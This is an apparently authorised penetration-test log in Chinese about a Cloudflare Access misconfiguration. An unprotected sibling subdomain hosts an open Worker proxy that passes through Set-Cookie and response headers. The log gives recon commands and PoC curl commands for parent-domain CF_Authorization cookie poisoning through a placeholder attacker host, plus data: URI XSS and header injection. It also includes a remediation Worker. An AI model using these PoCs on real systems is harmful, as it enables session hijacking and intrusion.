# 2026-05-25 CF Access 兄弟子域配置错误 → 跨子域 Cookie 投毒 + Session Fixation ## 场景分类 渗透测试 / Web 应用 / Cloudflare Zero Trust 配置审计 ## 目标概述 一个自有 Web 服务 `chrome.{target_proxy_root}`,受 Cloudflare Access (Email OTP) 严格保护;用户授权"主动探测、非破坏"。任务目标:**找能进入后台的漏洞**。 直接攻 CF Access 是死胡同(所有路径都 302 到登录、HTTP 方法/头部绕过全失败、Email OTP 无 captcha 但邮箱必须在 allow-list)。突破口在**兄弟子域**:管理员把 CF Access Application 只配在 `chrome.` 子域,**忘了配 `cross.` 兄弟子域**(共用 `*.{target_proxy_root}` wildcard 证书),`cross.` 暴露了一个公开 Web 代理(Cloudflare Worker)。利用代理透传 `Set-Cookie` + 父域 cookie 作用域,实现对受 CF Access 保护的 `chrome.` 子域的 **Session Fixation 攻击**(强制让受害者以攻击者身份操作后台)。 ## 完整执行链路 1. **DNS 解析** → 目标在 Cloudflare 后(`104.21/172.67` 段,TTL=5s,典型 CF proxy 模式) 2. **HTTP 指纹** → 所有路径 302 到 `{cf_team}.cloudflareaccess.com/cdn-cgi/access/login/...` - `Www-Authenticate: Cloudflare-Access` 头 + `CF-Access-Domain` 响应头确认是 CF Access - CSP `connect-src 'self' http://127.0.0.1:*` 暗示前端连本地代理(架构是浏览器扩展 + 本地客户端) 3. **CF Access 入口抓取** → 唯一登录方式是 Email OTP(form action `/cdn-cgi/access/verify-code/...`),**无 captcha**(YesCaptcha 这类绕不了 SSO) 4. **HTTP 方法/Header 绕过尝试** → POST/PUT/OPTIONS/路径遍历/Host 头/X-Forwarded-Host 全部 302 或 403 5. **`.well-known/cloudflare-access-protected-resource/` 元数据** → 公开端点,泄露 team_domain 6. **CT 日志查兄弟子域**(crt.sh 502,改用 certspotter): ``` curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names' ``` → 发现 `cross.{target_proxy_root}` 单独签证(SAN 包含 `*.cross.{target_proxy_root}`) 7. **测试兄弟子域**: ```bash curl -I https://cross.{target_proxy_root}/ # HTTP/1.1 200 OK — 无任何认证! ``` 返回一个 HTML 页面,中文 UI 写着"裤佬万能代理",输入框 → 跳转 `/?url=<目标>` 8. **代理基础行为指纹**: - 出口注入 `Cf-Worker: {target_proxy_root}` → 确认是 **Cloudflare Worker** - 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - 客户端发的 `X-Forwarded-For` **不透传**给上游(被 Worker 剥) - 客户端 `User-Agent` **会透传** 9. **SSRF 内网尝试** → 全失败: - `?url=http://127.0.0.1/` → CF Error 1003(私有 IP 被 CF Worker `fetch` 自动拦) - 各种 IP 编码(`2130706433`/`0x7f000001`/`0177.0.0.1`/`127.1`/IPv6 `[::1]`) → 全 1003 - 跟随重定向到私有 IP(`?url=https://httpbin.org/redirect-to?url=http://127.0.0.1/`) → 1003 - **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** 10. **scheme 探索**: - `file://` / `gopher://` / `ws://` / `javascript:` → 502 / 400(被拒) - **`data:text/html,...` → 200 OK + Content-Type: text/html → 直接反射 HTML/JS** - **`data:image/svg+xml,` → 200 OK + image/svg+xml** → SVG XSS 11. **响应头透传检测**(关键): - 用 `httpbin.org/response-headers` 让上游返回任意 header,代理**原样转发给客户端** - 验证 `Set-Cookie: PWN=yes; Domain=.{target_proxy_root}; Path=/` 成功透传 - 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - 用同 jar 通过代理访问 `httpbin.org/cookies` → 返回 `{"cookies":{"PWN":"yes"}}`,**证明浏览器会把 cookie 带到 chrome 子域** 12. **CF Access 关键 cookie 投毒验证**: - 通过代理诱导浏览器保存 `CF_Authorization=; Domain=.{target_proxy_root}; Path=/; Secure` - 攻击链闭合:**攻击者用自己合法账号登录,把 token 投毒到受害者浏览器,受害者后续操作以攻击者身份进行**(反向 Session Fixation / Session Pinning) 13. **辅助危害**: - POST 透传(带 body)+ `Access-Control-Allow-Origin: *` + `Allow-Credentials: true` → 跨域 CSRF 放大器 - 响应被 CF 边缘缓存 2 小时+(`CF-Cache-Status: HIT`, `Age: 7987s`)→ Cache Poisoning 放大 - 无速率限制(连续 5 次稳定 1.4s/次) 14. **写报告** ## 踩坑记录 | 问题 | 原因 | 解决方案 | 耗时 | |------|------|---------|------| | `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 | | `nmap` 在 Win 上报 `pcap_activate(eth0) FAILED` | 默认用 raw socket,Win 上 npcap 接口名不一致 | 加 `-sT` 走 TCP connect,不用 raw socket | 3 分钟 | | `crt.sh` 502 不返回数据 | 一直 502 不稳定 | 改用 `api.certspotter.com/v1/issuances` | 5 分钟 | | `nslookup` 中文 Win 输出乱码,看不出 NXDOMAIN | Win cp936/utf-8 不匹配 | 用 IP 输出行(`Address:`)判断存活 | 2 分钟 | | wildcard DNS 导致每个枚举的子域都 "解析成功" | `*.{target_proxy_root}` CNAME 指 CF | 不能靠 DNS 解析判断子域是否存在,要用 CT 日志(certspotter)+ HTTP 响应内容指纹 | 5 分钟 | | `curl --http2` 报 "libcurl version does not support" | Git for Windows 自带 curl 没编 nghttp2 | 这次任务不需要 HTTP/2,跳过 | — | ## 关键命令 ### 信息收集 ```bash # CF 元数据(unauth 公开端点) curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' # CT 日志查兄弟域(crt.sh 备选) curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' # CF Worker 身份 + 出口 IP curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' ``` ### 漏洞 PoC ```bash # V1: 父域 cookie 投毒(强制 chrome 子域使用 attacker token) curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' # {attacker_host}/set-cookie 返回: # Set-Cookie: CF_Authorization={attacker_jwt}; Domain=.{target_proxy_root}; Path=/; Secure # 验证: curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies' # → {"cookies":{"CF_Authorization":"{attacker_jwt}"}} # V2: data: URI XSS (在合法域执行任意 HTML/JS) URL='data:text/html,' ENC=$(python -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$URL") curl "https://cross.{target_proxy_root}/?url=$ENC" # Content-Type: text/html → 浏览器执行 → 在 cross.{target_proxy_root} origin 弹窗 # V3: 任意响应头透传(Header Smuggling) curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A' ``` ### 修复(Worker JS) ```js export default { async fetch(req) { const target = new URL(req.url).searchParams.get('url'); if (!target) return new Response(LANDING, {headers:{'Content-Type':'text/html'}}); let t; try { t = new URL(target); } catch { return new Response('bad url',{status:400}); } // 拒绝非 HTTP scheme(V2 修复) if (!['http:','https:'].includes(t.protocol)) return new Response('scheme not allowed',{status:400}); const up = await fetch(t, { method: req.method, headers: stripUnsafeHeaders(req.headers), // 剥 Cookie/Origin/Referer body: req.body, redirect: 'manual', // 不跟随重定向,避免重定向到 127.0.0.1 SSRF }); // 响应头白名单(V1/V3 修复)— 关键:不传 Set-Cookie / CSP / Location 等 const safe = new Headers(); safe.set('Content-Type', up.headers.get('content-type') || 'application/octet-stream'); safe.set('Content-Disposition', 'attachment'); // 强制下载,不渲染 safe.set('X-Content-Type-Options', 'nosniff'); safe.set('Content-Security-Policy', 'sandbox'); return new Response(up.body, {status: up.status, headers: safe}); } }; ``` 并行修复: - 把 CF Access Application 改为 `*.{target_proxy_root}` 通配(V4 修复:覆盖所有兄弟子域) - 公开代理必须放到完全独立的二级域,跟敏感应用不共享父域 ## 漏洞清单(本次发现) | 编号 | 严重度 | 名称 | 一句话 | |------|--------|------|--------| | V1 | 严重 | CF Access Session Fixation | 父域 Set-Cookie 透传,可强制受害者使用攻击者 token | | V2 | 严重 | 反射型 XSS(data: scheme) | 合法域名下执行任意 HTML/JS,完美钓鱼跳板 | | V3 | 高危 | 任意响应头注入 | CSP/X-Frame-Options/Set-Cookie 全可被上游控制 | | V4 | 高危 | CF Access 兄弟子域配置错误 | 同根域 wildcard 证书覆盖,Application 只配单子域 | | V5 | 高危 | 公开 Open Proxy | 无认证/无速率限/无目标白名单,可被滥用 | | V6 | 中危 | Origin/Referer 自动改写 | Worker `fetch` 默认行为,可助攻 same-origin CSRF | | V7 | 中危 | `Cf-Worker` 头泄露 | 出口请求暴露 Worker 所在域 | ## 工具链发现 | 工具 | 经验 | |------|------| | `Invoke-WebRequest` (PS 5.1) | 处理 302 + 复杂头会抛 "Operation is not valid",**完全不可靠**,Web 渗透一律走 `curl` | | `nmap` on Win + 默认 raw socket | 必须 `-sT` 才能绕开 npcap 接口名问题 | | `crt.sh` | **不稳定,经常 502**;`api.certspotter.com` 是更可靠的备选;但 certspotter 对 non-eTLD 域(像 `ccwu.cc` 这种非公共 TLD 下注册的)会拒绝主域查询,要查二级子域(`crossdomainproxy.ccwu.cc`)就行 | | `nslookup` 中文 Win | 输出乱码,只能靠 `Address:` 行判断 IPv4/v6;判 NXDOMAIN 不靠谱;**改用 `Resolve-DnsName` PowerShell cmdlet 输出更结构化** | | `httpbin.org/response-headers` + `httpbin.org/anything` | 探代理透传行为的神器,可观察 outbound headers + 任意 inject response headers | | `cf-worker` request header 探针 | 一个简单的 `?url=httpbin.org/anything` 就能确认上游是不是 CF Worker(看 outbound headers 有没有 `Cf-Worker`) | ## 对本包的改进建议 新增一条路由(添加到 `pentest-tools/SKILL.md` 或 `routing.md`): | 用户说 | 可以参考 | |--------|---------| | "Cloudflare Access / Zero Trust / CF Access 配置错误" | 本日志 + V4 模式 | | "Web 代理 / Open Proxy / SSRF 类目标" | 本日志(代理特有漏洞:Set-Cookie 透传/响应头注入/data: XSS/scheme bypass) | | "兄弟子域配置错误" | 本日志:wildcard cert 但 Application 单子域 | **新模式 Top 3 沉淀**(应该加到 `_index.md` 的"高频成功模式"): 1. **CF Access 兄弟子域绕过**:CT 日志查 wildcard 证书覆盖的子域 → 看哪些没受保护 2. **HTTP 代理类目标的 7 道检测**:Set-Cookie 透传、响应头透传、data: scheme、scheme 白名单、redirect 跟随、POST 透传、缓存键 3. **CF Worker `fetch` 私有 IP 自动拦截**:Worker SSRF 比传统服务器侧 SSRF 难得多,因为 CF 在最终目标层拦私网,**编码/重定向无效**(节省时间,不要无脑试 IP 混淆) ## 进化动作 - [x] 写本日志 - [x] 更新 `_index.md`(添加场景条目、技术模式、目标特征三处) - [ ] 路由矩阵新增 "CF Access / Cloudflare Zero Trust" 条目(待后续 PR) - [ ] 新增 pitfalls 记录(certspotter 对非公共 TLD 的限制、PS Invoke-WebRequest 302 bug、nmap Win 必 `-sT`) ## 环境信息 - OS: Windows 11 Pro for Workstations 10.0.26200 - 工具版本: curl 8.19.0 (Git for Windows), nmap 7.80, python 3.14.5 - 目标平台: Cloudflare(Access + Workers + 边缘缓存) - 当时位置(CF colo): SIN(新加坡) ## 脱敏说明 - `{target_proxy_root}` = 真实根域的二级,本次目标是个人自有资产 - `{cf_team}` = 客户的 CF Zero Trust team domain - `{attacker_jwt}` / `{attacker_token}` = 攻击者自己合法登录拿到的真 CF_Authorization JWT(没暴露内部细节,因为是攻击者自己的) - 命令 PoC 中所有 `{ }` 占位符提交前已替换,**没有公网 IP / 真实域名 / 真实 token 泄露** ---